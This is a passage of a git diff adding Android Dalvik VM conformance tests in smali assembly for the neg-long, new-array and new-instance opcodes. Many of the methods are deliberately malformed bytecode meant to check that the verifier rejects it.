+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       neg-long v0, v6
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.smali
new file mode 100644
index 0000000..4e5881e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_5.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 8
+
+       neg-long v0, v7
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.smali
new file mode 100644
index 0000000..9330c94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_6.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 8
+
+       neg-long v0, v7
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.smali
new file mode 100644
index 0000000..2257896
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_7.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       neg-long v0, v5
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.smali
new file mode 100644
index 0000000..6af724b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_1.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v0, v4, [I
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.smali
new file mode 100644
index 0000000..eded354
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_10.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 5
+
+       const v0, 3
+       new-array v0, v0, [Ldot/junit/opcodes/new_array/TestStubs;
+       
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.smali
new file mode 100644
index 0000000..ae51410
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_11.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 5
+
+       const v0, 3
+       new-array v0, v0, [Ljava/lang/ObjectNNN;
+       
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.smali
new file mode 100644
index 0000000..711de32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_2.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[Z
+.registers 5
+
+       new-array v0, v4, [Z
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.smali
new file mode 100644
index 0000000..6a0a95d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_3.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[Ljava/lang/Object;
+.registers 5
+
+       new-array v0, v4, [Ljava/lang/Object;
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.smali
new file mode 100644
index 0000000..67f0953
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_4.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v5, v4, [I
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.smali
new file mode 100644
index 0000000..73f27e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_5.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       const-wide v3, 1
+       new-array v0, v3, [I
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.smali
new file mode 100644
index 0000000..d98e0f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_6.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v0, v4, [I
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.smali
new file mode 100644
index 0000000..802648c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_8.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[Ljava/lang/Object;
+.registers 5
+
+       new-array v0, v4, [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[Ljava/lang/Object;
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.smali
new file mode 100644
index 0000000..584405c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_9.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v0, v3, [I
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.smali
new file mode 100644
index 0000000..c275074
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_1.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 6
+
+       new-instance v1, Ljava/lang/String;
+       const-string v3, "abc"
+       invoke-direct {v1, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.smali
new file mode 100644
index 0000000..8a1ffc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_10.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       new-instance v6, Ljava/lang/String;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.smali
new file mode 100644
index 0000000..fc948bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_11.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const v4, 5
+       goto :LabelEntry
+
+:LabelBwd
+       invoke-virtual {v1}, Ljava/lang/Object;->hashCode()I
+
+:LabelEntry
+       new-instance v1, Ljava/lang/Integer;
+
+       add-int/lit8 v4, v4, -1
+       if-nez v4, :LabelBwd
+
+       invoke-direct {v1, v4}, Ljava/lang/Integer;-><init>(I)V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.smali
new file mode 100644
index 0000000..17bda09
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.smali

@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_12.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+    const v0, 0
+:Label1
+    new-instance v1,        Ljava/lang/Integer;
+    if-nez v0, :INIT
+    move-object v2, v1
+    const v0, 1
+    goto :Label1
+:INIT
+        
+    invoke-direct {v1, v0}, Ljava/lang/Integer;-><init>(I)V
+    invoke-virtual {v2}, Ljava/lang/Integer;->toString()Ljava/lang/String;
+
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.smali
new file mode 100644
index 0000000..089f733
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.smali

@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_3.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_3;
+.super  Ljava/lang/Object;
+
+.field static i:I
+
+.method static constructor <clinit>()V
+.registers 2
+
+       const/16 v0, 123
+       const/4 v1, 0
+       div-int/lit8 v0, v0, 0
+       sput v0, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;->i:I
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+:Label5
+       return-void
+.end method
+
+.method public static run()I
+.registers 4
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;
+       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;-><init>()V
+
+       sget v1, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;->i:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.smali
new file mode 100644
index 0000000..9b33f92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_4.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/TestStubs;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/TestStubs;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.smali
new file mode 100644
index 0000000..0a8cf4e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_5.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/Test_new_instanceNNNNN;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/TTestClass;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.smali
new file mode 100644
index 0000000..6dccada
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_6.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 6
+
+       new-instance v1, Ljava/lang/String;
+       const-string v3, "abc"
+       invoke-direct {v1, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.smali
new file mode 100644
index 0000000..6cc2a19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_7.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       new-instance v1, [Ljava/lang/Object;
+# intentionally return v2 ("this")           
+       return-object v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.smali
new file mode 100644
index 0000000..bb2818a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
